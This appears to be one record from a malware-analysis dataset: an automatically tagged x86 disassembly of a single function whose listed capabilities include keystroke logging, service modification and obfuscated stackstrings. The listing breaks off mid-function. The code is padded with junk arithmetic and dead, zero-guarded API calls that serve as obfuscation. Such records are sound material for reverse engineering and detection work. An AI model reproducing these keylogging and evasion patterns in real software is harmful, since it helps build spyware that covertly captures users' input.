Function at 0x10015299
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create pipe
Delete file
Get common file path
Get disk information
Identify system language via api
Log keystrokes via polling
Modify service
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10070204
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x13bc
call fcn.1006c240
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 1
lea ecx, [ebp - 0xdac]
call fcn.100221ae
and dword [ebp - 4], 0
mov dword [ebp - 0x3dc], 0
jmp 0x100152ec
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 1
jge 0x1001530e
push dword [ebp - 0x3dc]
lea ecx, [ebp - 0xdac]
call fcn.10022272
mov dword [eax], 0xdb3ae355
jmp 0x100152df
push 0
lea ecx, [ebp - 0xdac]
call fcn.10022272
and dword [eax], 0
jmp 0x10015344
push 0
lea ecx, [ebp - 0xdac]
call fcn.10022272
mov dword [ebp - 0x880], eax
mov eax, dword [ebp - 0x880]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x880]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xdac]
call fcn.10022272
cmp dword [eax], 0x12
jge 0x10015398
mov byte [ebp - 0x186], 0
movzx eax, byte [ebp - 0x186]
test eax, eax
je 0x10015372
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov byte [ebp - 0x17c], 0
movzx eax, byte [ebp - 0x17c]
test eax, eax
je 0x10015396
push 0x1115
push 0x128b
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x10015320
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdac]
call fcn.10022230
cmp dword [ebp + 0x10], 0
jbe 0x1001572e
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001572e
mov dword [ebp - 0x3c], 0x8c45cdbe
mov dword [ebp - 0x18c], 1
push 2
lea ecx, [ebp - 0xdbc]
call fcn.100221ae
mov dword [ebp - 4], 1
mov dword [ebp - 0x54], 0xfffffffd
mov dword [ebp - 0x1f0], 0x552d
mov dword [ebp - 0xc8], 0
jmp 0x1001540c
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x10015428
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xebc], 0xae5a60d0
jmp 0x100153ff
mov dword [ebp - 0xc8], 0
jmp 0x10015441
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x10015463
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xdbc]
call fcn.10022272
mov dword [eax], 0xfffffff7
jmp 0x10015434
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
jne 0x100154db
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
push 0
lea ecx, [ebp - 0xdbc]
call fcn.10022272
mov dword [ebp - 0xaa4], eax
push 0
lea ecx, [ebp - 0xdbc]
call fcn.10022272
mov ecx, dword [ebp - 0xaa4]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xaa4]
cmp eax, dword [ecx]
jne 0x100154b6
mov dword [ebp - 0xaac], 1
jmp 0x100154bd
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 0xaac]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jne 0x100154db
and dword [ebp - 0xabc], 0
jmp 0x100154e5
mov dword [ebp - 0xabc], 1
cmp dword [ebp - 0x3c], 0
je 0x100154fe
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x100154fe
mov dword [ebp - 0xab4], 1
jmp 0x10015505
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0xab4]
sub eax, 3
mov ecx, dword [ebp - 0xabc]
sub ecx, eax
add ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x3c]
jge 0x10015532
mov dword [ebp - 0xae4], 1
jmp 0x10015539
and dword [ebp - 0xae4], 0
cmp dword [ebp - 0xae4], 0xcdea
jne 0x10015557
mov eax, 0x8fe4de5a
test eax, eax
jne 0x10015557
and dword [ebp - 0xaf4], 0
jmp 0x10015561
mov dword [ebp - 0xaf4], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xaec], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xaec]
mov dword [ebp + eax - 0xebc], ecx
mov eax, dword [ebp - 0xaec]
cmp eax, dword [ebp - 0xaf4]
jne 0x10015597
mov dword [ebp - 0xafc], 1
jmp 0x1001559e
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0xafc], eax
jle 0x100155be
cmp dword [ebp - 0x1f0], 0
je 0x100155be
mov dword [ebp - 0xb04], 1
jmp 0x100155c5
and dword [ebp - 0xb04], 0
cmp dword [ebp - 0xb04], 0
je 0x100156a8
mov dword [ebp - 0x18c], 0xffffffeb
jmp 0x100155eb
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x10
je 0x100156a6
mov dword [ebp - 0x54], 0
jmp 0x10015608
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jg 0x100156a1
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x1001562c
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x1f0], 0
jmp 0x10015645
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jg 0x1001569c
mov dword [ebp - 0x3c], 0
jmp 0x1001565e
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jg 0x1001569a
mov byte [ebp - 0x17e], 0
movzx eax, byte [ebp - 0x17e]
test eax, eax
je 0x1001567e
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x10015698
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x10015657
jmp 0x10015638
jmp 0x10015601
jmp 0x100155de
jmp 0x100156c2
mov byte [ebp - 0x180], 0
movzx eax, byte [ebp - 0x180]
test eax, eax
je 0x100156c2
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x54], 0
jmp 0x100156d2
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x10
jle 0x1001570b
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb0c], eax
push 0
lea ecx, [ebp - 0xdbc]
call fcn.10022272
mov ecx, dword [ebp - 0xb0c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb0c]
mov dword [ebp + eax - 0xebc], ecx
jmp 0x100156cb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdbc]
call fcn.10022230
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1000fe72
pop ecx
pop ecx
jmp 0x1001e832
mov dword [ebp - 0xf28], 5
mov dword [ebp - 0xf24], 5
mov dword [ebp - 0xf20], 5
mov dword [ebp - 0xf1c], 5
lea ecx, [ebp - 0x469]
call fcn.100222d4
push eax
lea eax, [ebp - 0xf18]
push eax
lea eax, [ebp - 0xf28]
push eax
lea ecx, [ebp - 0x1328]
call fcn.100222d7
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x12a8]
call fcn.1002220a
mov dword [ebp - 0x3d8], 0x5c8094a1
mov dword [ebp - 0x3d8], 0
jmp 0x100157ae
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 3
jg 0x100157e1
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x100157df
push 0x1728
push 0
push 0
push 0x75f
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
jmp 0x100157a1
lea ecx, [ebp - 0x12a8]
call fcn.10022230
cmp dword [ebp + 0x10], 0
jne 0x1001bffc
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x1d0], 1
mov dword [ebp - 0x84], 0xe5664dc9
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x1238], 0x59baaa4f
mov dword [ebp - 0x194], 0x8169b41d
push 3
lea ecx, [ebp - 0x1198]
call fcn.100221ae
mov dword [ebp - 4], 2
mov dword [ebp - 0x27c], 0
jmp 0x1001585f
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 3
jge 0x10015881
push dword [ebp - 0x27c]
lea ecx, [ebp - 0x1198]
call fcn.10022272
mov dword [eax], 0x64fef537
jmp 0x10015852
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
je 0x10015a2f
imul eax, dword [ebp - 0x100], 0
test eax, eax
je 0x100158e9
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x100]
jle 0x100158bf
mov dword [ebp - 0xb14], 1
jmp 0x100158c6
and dword [ebp - 0xb14], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0xb14], eax
jge 0x100158e9
mov eax, 0x2524
test eax, eax
je 0x100158e9
mov dword [ebp - 0xb1c], 1
jmp 0x100158f0
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0xb1c]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x10dc], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x11e8], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x1d0]
imul eax, dword [ebp - 0x100]
cmp dword [ebp - 0x84], eax
jne 0x10015941
mov dword [ebp - 0xb24], 1
jmp 0x10015948
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
je 0x10015a2f
mov dword [ebp - 0xb34], 0xf390f3bd
mov dword [ebp - 0xbdc], 6
mov dword [ebp - 0x84], 0
jmp 0x1001598e
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xe
jle 0x10015a2a
mov dword [ebp - 0xb7c], 0
mov byte [ebp - 0x182], 0
movzx eax, byte [ebp - 0x182]
test eax, eax
je 0x100159c5
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
cmp dword [ebp - 0xb7c], 1
jge 0x100159da
mov dword [ebp - 0xb2c], 1
jmp 0x100159e1
and dword [ebp - 0xb2c], 0
mov eax, dword [ebp - 0xb2c]
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xb34]
add eax, dword [ebp - 0xbdc]
push 4
pop ecx
sub ecx, eax
cmp ecx, dword [ebp - 0xb7c]
jne 0x10015a12
mov dword [ebp - 0xb80], 1
jmp 0x10015a19
and dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0xb80]
mov dword [ebp - 0x40c], eax
jmp 0x10015981
jmp 0x10015af8
mov dword [ebp - 0x10e4], 0
mov dword [ebp - 0x11f0], 0x5e0c0a10
push 1
lea ecx, [ebp - 0x1188]
call fcn.100221ae
mov byte [ebp - 4], 3
mov dword [ebp - 0xa4], 0
jmp 0x10015a6d
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jge 0x10015a8c
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1188]
call fcn.10022272
and dword [eax], 0
jmp 0x10015a60
mov dword [ebp - 0xa4], 0
jmp 0x10015aa5
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 2
jge 0x10015ac1
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xedc], 0xff65ce17
jmp 0x10015a98
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xedc]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xedc], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1188]
call fcn.10022230
mov dword [ebp - 0x84], 0
jmp 0x10015b11
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x10015b60
mov dword [ebp - 0x194], 0
jmp 0x10015b33
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 2
je 0x10015b5e
mov dword [ebp - 0xc1c], 0xaf09d89c
mov dword [ebp - 0xc24], 0x5d742cc3
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0xc24], eax
jmp 0x10015b26
jmp 0x10015b04
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1198]
call fcn.10022230
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000a30d
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x108], 0x571177e8
mov dword [ebp - 0xc3c], 1
mov dword [ebp - 0xd1c], 0x6859
mov dword [ebp - 0x10ec], 0xab1d6a56
mov dword [ebp - 0x108], 0
jmp 0x10015bc1
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0xffffffe3
je 0x10015c63
mov dword [ebp - 0x498], 0xba1a4d63
mov dword [ebp - 0xc34], 0xfffffff9
cmp dword [ebp - 0x498], 0
je 0x10015c05
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x108]
jl 0x10015c05
mov dword [ebp - 0xc2c], 1
jmp 0x10015c0c
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0xc34]
mov dword [ebp - 0x122c], eax
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x10f4], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x11ec], eax
cmp dword [ebp - 0xc3c], 0xa62a9695
ja 0x10015c48
mov dword [ebp - 0xc44], 1
jmp 0x10015c4f
and dword [ebp - 0xc44], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x498]
mov dword [ebp - 0xd1c], eax
jmp 0x10015bb4
push 1
lea ecx, [ebp - 0x3fc]
call fcn.100221ae
mov dword [ebp - 4], 4
mov dword [ebp - 0xd24], 0x29b3
mov dword [ebp - 0x1d4], 0x475ee4c2
mov dword [ebp - 0x214], 3
mov dword [ebp - 0xa4c], 0x700d35da
mov dword [ebp - 0x540], 0xbc21b07f
mov dword [ebp - 0xd34], 0xfffffff6
mov dword [ebp - 0x34c], 0
jmp 0x10015ccc
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 1
jge 0x10015cee
push dword [ebp - 0x34c]
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov dword [eax], 0x730f94f3
jmp 0x10015cbf
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov esi, dword [ebp - 0xd24]
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
cmp esi, dword [eax]
jle 0x10015d1e
mov dword [ebp - 0x588], 1
jmp 0x10015d25
and dword [ebp - 0x588], 0
cmp dword [ebp - 0x588], 0xffffffff
jbe 0x10015d3a
mov dword [ebp - 0xa3c], 1
jmp 0x10015d41
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x214]
jl 0x10015d67
mov dword [ebp - 0xd2c], 1
jmp 0x10015d6e
and dword [ebp - 0xd2c], 0
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov esi, dword [ebp - 0x214]
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov eax, dword [eax]
add eax, 4
cmp eax, esi
jl 0x10015da3
mov dword [ebp - 0x530], 1
jmp 0x10015daa
and dword [ebp - 0x530], 0
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov ecx, dword [ebp - 0x530]
cmp ecx, dword [eax]
jl 0x10015dcd
mov dword [ebp - 0xa44], 1
jmp 0x10015dd4
and dword [ebp - 0xa44], 0
mov esi, dword [ebp - 0x214]
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov eax, dword [eax]
sub eax, dword [ebp - 0xa44]
neg eax
cmp eax, esi
jg 0x10015e01
mov dword [ebp - 0x538], 1
jmp 0x10015e08
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x10fc], eax
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x1284], eax
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x540], eax
mov esi, dword [ebp - 0x540]
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
cmp esi, dword [eax]
jl 0x10015e5b
mov dword [ebp - 0xa54], 1
jmp 0x10015e62
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0xd34]
cmp dword [ebp - 0xa54], eax
jge 0x10015e7c
mov dword [ebp - 0xd3c], 1
jmp 0x10015e83
and dword [ebp - 0xd3c], 0
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov dword [eax], 0x85ca2589
mov dword [ebp - 0x1d4], 0
jmp 0x10015ebc
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0xfffffffb
je 0x10015f76
mov dword [ebp - 0x1104], 0x4b71808a
mov dword [ebp - 0x1130], 8
mov dword [ebp - 0x110c], 0x3674f9af
mov dword [ebp - 0x284], 0
jmp 0x10015f00
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 2
jge 0x10015f1c
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0xc50], 2
jmp 0x10015ef3
push 4
pop eax
shl eax, 0
imul esi, dword [ebp + eax - 0xc50], 0
push 0
lea ecx, [ebp - 0x3fc]
call fcn.10022272
mov dword [eax], esi
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc50]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xc50], eax
mov byte [ebp - 0x184], 0
movzx eax, byte [ebp - 0x184]
test eax, eax
je 0x10015f71
push 0x6dd
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
jmp 0x10015eaf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3fc]
call fcn.10022230
mov dword [ebp - 0x110], 0x7f6af112
mov dword [ebp - 0x19c], 0xfffffff6
mov dword [ebp - 0x354], 0
jmp 0x10015fb2
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 3
jge 0x10015fce
mov eax, dword [ebp - 0x354]
mov dword [ebp + eax*4 - 0x12d8], 0xfffffff8
jmp 0x10015fa5
mov dword [ebp - 0x110], 0x11
jmp 0x10015fe7
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x1a
je 0x100163f9
push 2
lea ecx, [ebp - 0x510]
call fcn.100221ae
mov dword [ebp - 4], 5
mov dword [ebp - 0x6c], 0x4fddd3f4
mov dword [ebp - 0x294], 0x3fc2f92e
mov dword [ebp - 0x35c], 0x42bb1e5d
mov dword [ebp - 0x28c], 0
jmp 0x1001603c
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 2
jge 0x1001605e
push dword [ebp - 0x28c]
lea ecx, [ebp - 0x510]
call fcn.10022272
mov dword [eax], 0xfa75
jmp 0x1001602f
mov dword [ebp - 0x6c], 1
jmp 0x1001606e
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x100163c6
push 1
lea ecx, [ebp - 0xbd8]
call fcn.100221ae
mov byte [ebp - 4], 6
mov dword [ebp - 0x4a0], 0xfffffff8
push 1
lea ecx, [ebp - 0xf90]
call fcn.100221ae
mov byte [ebp - 4], 7
mov dword [ebp - 0xc0], 0
jmp 0x100160bd
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x100160dc
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xbd8]
call fcn.10022272
or dword [eax], 0xffffffff
jmp 0x100160b0
mov dword [ebp - 0xc0], 0
jmp 0x100160f5
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x10016114
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xf90]
call fcn.10022272
or dword [eax], 0xffffffff
jmp 0x100160e8
mov eax, 0xe009
test eax, eax
je 0x10016213
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x510]
call fcn.10022272
mov eax, dword [eax]
mov dword [ebp - 0x4a0], eax
push 1
lea ecx, [ebp - 0x510]
call fcn.10022272
mov esi, eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x510]
call fcn.10022272
mov eax, dword [eax]
add eax, dword [esi]
cmp dword [ebp - 0x4a0], eax
je 0x1001616d
xor eax, eax
jne 0x1001616d
and dword [ebp - 0x548], 0
jmp 0x10016177
mov dword [ebp - 0x548], 1
cmp dword [ebp - 0x548], 9
je 0x1001618c
mov dword [ebp - 0xd44], 1
jmp 0x10016193
and dword [ebp - 0xd44], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1134], eax
push 0
lea ecx, [ebp - 0xbd8]
call fcn.10022272
mov dword [ebp - 0xa5c], eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x510]
call fcn.10022272
mov ecx, dword [ebp - 0xa5c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0xa5c]
cmp dword [ecx], eax
je 0x100161e6
mov dword [ebp - 0x550], 1
jmp 0x100161ed
and dword [ebp - 0x550], 0
push 1
lea ecx, [ebp - 0x510]
call fcn.10022272
mov ecx, dword [ebp - 0x550]
imul ecx, dword [eax]
test ecx, ecx
je 0x10016213
mov dword [ebp - 0xd4c], 1
jmp 0x1001621a
and dword [ebp - 0xd4c], 0
cmp dword [ebp - 0x4a0], 0
je 0x10016242
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x510]
call fcn.10022272
cmp dword [eax], 0
je 0x10016242
mov dword [ebp - 0xa64], 1
jmp 0x10016249
and dword [ebp - 0xa64], 0
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x510]
call fcn.10022272
mov ecx, dword [ebp - 0xa64]
imul ecx, dword [eax]
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x294], 0xf47f
mov eax, dword [ebp - 0x294]
cmp eax, dword [ebp - 0x110]
jge 0x10016293
mov eax, 0x9afc
test eax, eax
je 0x10016293
mov dword [ebp - 0x558], 1
jmp 0x1001629a
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x100162fa
mov dword [ebp - 0x35c], 1
mov eax, dword [ebp - 0x35c]
cmp eax, dword [ebp - 0x294]
jge 0x100162d3
mov dword [ebp - 0xa6c], 1
jmp 0x100162da
and dword [ebp - 0xa6c], 0
push 0
lea ecx, [ebp - 0xbd8]
call fcn.10022272
mov ecx, dword [ebp - 0xa6c]
add ecx, dword [eax]
jne 0x100162fa
and dword [ebp - 0x560], 0
jmp 0x10016304
mov dword [ebp - 0x560], 1
mov esi, dword [ebp - 0x6c]
sub esi, dword [ebp - 0x560]
add esi, 0x8c6a
neg esi
push 0
lea ecx, [ebp - 0xbd8]
call fcn.10022272
cmp esi, dword [eax]
jne 0x1001632a
xor eax, eax
je 0x10016339
cmp dword [ebp - 0x6c], 0
jne 0x10016339
and dword [ebp - 0xa74], 0
jmp 0x10016343
mov dword [ebp - 0xa74], 1
push 0
lea ecx, [ebp - 0xbd8]
call fcn.10022272
mov ecx, dword [ebp - 0xa74]
cmp ecx, dword [eax]
jg 0x10016366
mov dword [ebp - 0x568], 1
jmp 0x1001636d
and dword [ebp - 0x568], 0
push 0
lea ecx, [ebp - 0xf90]
call fcn.10022272
mov ecx, dword [ebp - 0x568]
cmp ecx, dword [eax]
jge 0x10016390
mov dword [ebp - 0xa7c], 1
jmp 0x10016397
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0x19c], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xf90]
call fcn.10022230
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xbd8]
call fcn.10022230
jmp 0x10016067
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
test eax, eax
je 0x100163e5
push 0
push 0x99b
call dword [sym.imp.USER32.dll_GetClientRect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x510]
call fcn.10022230
jmp 0x10015fda
mov dword [ebp - 0x19c], 0
jmp 0x10016412
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 3
jge 0x1001642e
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x12d8], 1
jmp 0x10016405
cmp dword [0x10619714], 0
jne 0x1001b9df
mov dword [ebp - 0xd54], 0x885
lea eax, [ebp - 0xd54]
push eax
call fcn.1000fe3e
pop ecx
mov dword [ebp - 0x524], eax
mov dword [ebp - 0x1114], 1
mov dword [ebp - 0x113c], 0
mov dword [ebp - 0x111c], 0
push 2
lea ecx, [ebp - 0xe90]
call fcn.100221ae
mov dword [ebp - 4], 8
mov dword [ebp - 0x30], 0
jmp 0x1001649a
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x100164b0
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xbc0], 0xa48bbca6
jmp 0x10016493
mov dword [ebp - 0x30], 0
jmp 0x100164c0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x100164d6
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1138], 0xfffffff9
jmp 0x100164b9
mov dword [ebp - 0x30], 0
jmp 0x100164e6
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10016502
push dword [ebp - 0x30]
lea ecx, [ebp - 0xe90]
call fcn.10022272
mov dword [eax], 0x2c9a130d
jmp 0x100164df
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xbc0], 0x1b
jmp 0x10016530
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xbc0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc0], 0xfffffff7
jge 0x100166da
mov dword [ebp - 0x29c], 0x65ab3e90
push 4
lea ecx, [ebp - 0x11a8]
call fcn.100221ae
mov byte [ebp - 4], 9
mov dword [ebp - 0x364], 0
jmp 0x10016578
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 4
jge 0x10016597
push dword [ebp - 0x364]
lea ecx, [ebp - 0x11a8]
call fcn.10022272
and dword [eax], 0
jmp 0x1001656b
mov dword [ebp - 0x29c], 0
jmp 0x100165b0
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0x14
jge 0x100166c6
mov dword [ebp - 0x2a4], 0xfffffffd
mov dword [ebp - 0x1234], 9
mov dword [ebp - 0x1140], 0
mov dword [ebp - 0x11fc], 0
mov dword [ebp - 0x1014], 0
push 4
lea ecx, [ebp - 0xf9c]
call fcn.100221ae
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x36c], 0
jmp 0x10016619
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 4
jge 0x10016638
push dword [ebp - 0x36c]
lea ecx, [ebp - 0xf9c]
call fcn.10022272
and dword [eax], 0
jmp 0x1001660c
mov dword [ebp - 0x2a4], 0
jmp 0x10016651
mov eax, dword [ebp - 0x2a4]
dec eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0xfffffff5
jl 0x100166b2
mov dword [ebp - 0x1018], 0xc67ee39f
mov dword [ebp - 0x1020], 0
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x1001668c
push 0
push 0
push 0
